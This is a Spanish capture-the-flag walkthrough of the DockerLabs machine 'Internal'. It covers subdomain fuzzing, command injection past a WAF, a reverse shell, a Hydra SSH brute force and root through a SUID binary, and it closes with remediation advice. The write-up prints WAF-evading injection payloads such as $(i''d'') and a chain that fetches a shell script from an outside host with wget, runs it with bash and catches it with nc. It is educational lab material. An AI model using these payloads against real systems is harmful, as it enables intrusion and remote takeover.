Skip to content

Internal

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Internal, diseñada por buda-sys para la plataforma DockerLabs y clasificada como fácil.

El objetivo es ofrecer un análisis claro, ordenado y técnicamente fundamentado, que incluya:

  • Identificación de vectores de entrada.
  • Enumeración de subdominios virtuales mediante fuzzing.
  • Evasión de un WAF (Web Application Firewall) utilizando técnicas de sustitución de comandos.
  • Obtención de ejecución remota de comandos (RCE) y reverse shell.
  • Escalada de privilegios mediante el craqueo de contraseñas y el abuso de un binario con permisos SUID.

La metodología empleada se articula en tres fases principales:

  1. Reconocimiento: detección de puertos, análisis de servicios web y fuzzing de subdominios.
  2. Explotación: evasión del WAF, descarga de una reverse shell y acceso inicial como www-data.
  3. Escalada de privilegios: obtención de credenciales para el usuario vault y posterior escalada a root mediante un binario SUID.

Todas las pruebas se realizaron en el entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreInternal
Autorbuda-sys
DificultadFácil
Fecha5/04/2026
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip Internal.zip

Arrancar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh Internal.tar

El script de despliegue devuelve la IP interna que utilizaremos durante el análisis:

IP asignada


Mantener un árbol de trabajo ordenado facilita documentar y reproducir cada fase:

Ventana de terminal
mkdir -p Internal/{content,exploits,nmap,gobuster,scripts}
cd Internal

Se realiza un escaneo completo de puertos TCP abiertos para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos

Primero tratamos de listar el índice, pero automáticamente nos arrojó un error, ya que nos redirigía directamente al dominio internal.dl. Por lo tanto, lo agregamos a nuestro /etc/hosts.

Se empleó un escaneo de directorios con Feroxbuster para localizar recursos y rutas interesantes:

Ventana de terminal
feroxbuster -u "http://internal.dl" \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-t 100 -e js,php,txt,html -C 404

Resultados relevantes:

  • Index: página de una herramienta para encriptar archivos (vault). content of index

No se encontró nada relevante en el fuzzing de rutas.

Por lo tanto, procedimos a realizar una enumeración de subdominios. Al tratarse de dominios virtuales, utilizamos el siguiente comando:

Ventana de terminal
ffuf -c -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.internal.dl" -u http://internal.dl/

Esto nos arrojó un único resultado: backup: ffuf result

Ahora agregamos este subdominio también al /etc/hosts para poder visualizar su contenido: backup content


En la web hay un apartado que permite introducir un directorio para, después de pulsar un botón, listar su contenido. Esto nos da una pista directa de una posible inyección de comandos. Probamos a introducir /tmp ; id para ver si funciona: test vuln

El resultado nos indica que estamos atravesando un WAF (Web Application Firewall), ya que nos está bloqueando las peticiones. Tras probar distintos métodos de evasión, descubrimos que permite la inyección de comandos a través de sustitución de comandos.

Por lo tanto, en el input escribimos lo siguiente:

Ventana de terminal
$(i''d'')

Con esto ya tenemos RCE: id result

Ingresar una reverse shell directamente sería un poco difícil de codificar debido al WAF, por lo que preferí crear una reverse shell en mi host y levantar un servidor web con python3 -m http.server. Luego, en la página web ingresamos:

/etc/passwd$(w''g''e''t http://172.17.0.1/shell -O /tmp/shell)

Activamos nuestro listener en nuestra máquina host: nc -nlvp 443. Después, en la página web ejecutamos la reverse shell:

$(b''a''s''h /tmp/shell)

Y obtenemos una reverse shell funcional: reverseshell

Solo falta normalizar la terminal.


Buscando entre los archivos en los que tenemos permisos de lectura, nos topamos con /opt/.vault_pass.txt: ls -la opt

Este archivo contiene un conjunto de contraseñas. Lo guardamos en nuestra máquina host para utilizarlo como un diccionario con Hydra. Ejecutamos:

Ventana de terminal
hydra -l vault -P .vault_pass.txt ssh://172.17.0.2 -t 64 -I

Esto nos da una respuesta casi inmediata: hydra result

Ahora, regresando a la máquina víctima, solo tenemos que hacer su vault e ingresar la contraseña: su vault

Lo primero que hacemos es listar los permisos SUID:

Ventana de terminal
find / -perm -4000 2>/dev/null

Esto nos arroja los siguientes resultados: find result

Entre ellos se encuentra un binario interesante: /usr/local/bin/vaultctl. Solo necesitamos ejecutarlo:

Ventana de terminal
./vaultctl

Y así obtenemos directamente una shell con permisos de administrador: id root


VulnerabilidadSeveridadImpacto
Redirección a dominio no resoluble localmenteBajaRequiere modificar /etc/hosts para continuar, pero no es un fallo de seguridad per se.
Ausencia de validación de entrada en el parámetro de directorioCríticaPermite inyección de comandos (RCE) a pesar del WAF.
WAF implementado de forma insuficienteAltaSe evade fácilmente mediante sustitución de comandos ($(comando)) y ofuscación con comillas simples.
Almacenamiento de diccionario de contraseñas en texto claro (/opt/.vault_pass.txt)AltaPermite ataques de fuerza bruta contra el usuario vault vía SSH.
Contraseña débil del usuario vaultMediaFue crackeada en segundos con un diccionario pequeño.
Binario vaultctl con permisos SUID sin restriccionesCríticaPermite a cualquier usuario ejecutarlo y obtener una shell como root inmediatamente.

  1. Validar y sanitizar todas las entradas de usuario, especialmente aquellas que se utilizan para construir comandos del sistema. Usar funciones seguras como escapeshellarg() en PHP o evitar por completo la concatenación directa.
  2. Implementar un WAF más robusto que detecte y bloquee técnicas de evasión como sustitución de comandos, ofuscación y codificación.
  3. No almacenar diccionarios de contraseñas en texto claro dentro del sistema. Las credenciales deben guardarse de forma segura (hash + salt) y con los permisos adecuados.
  4. Aplicar una política de contraseñas seguras que impida el uso de palabras comunes o predecibles.
  5. Revisar periódicamente los binarios con permisos SUID. En este caso, vaultctl no debería tener SUID, y si es estrictamente necesario, debe limitarse su ejecución a usuarios o grupos específicos.
  6. Implementar el principio de mínimo privilegio en todos los niveles del sistema.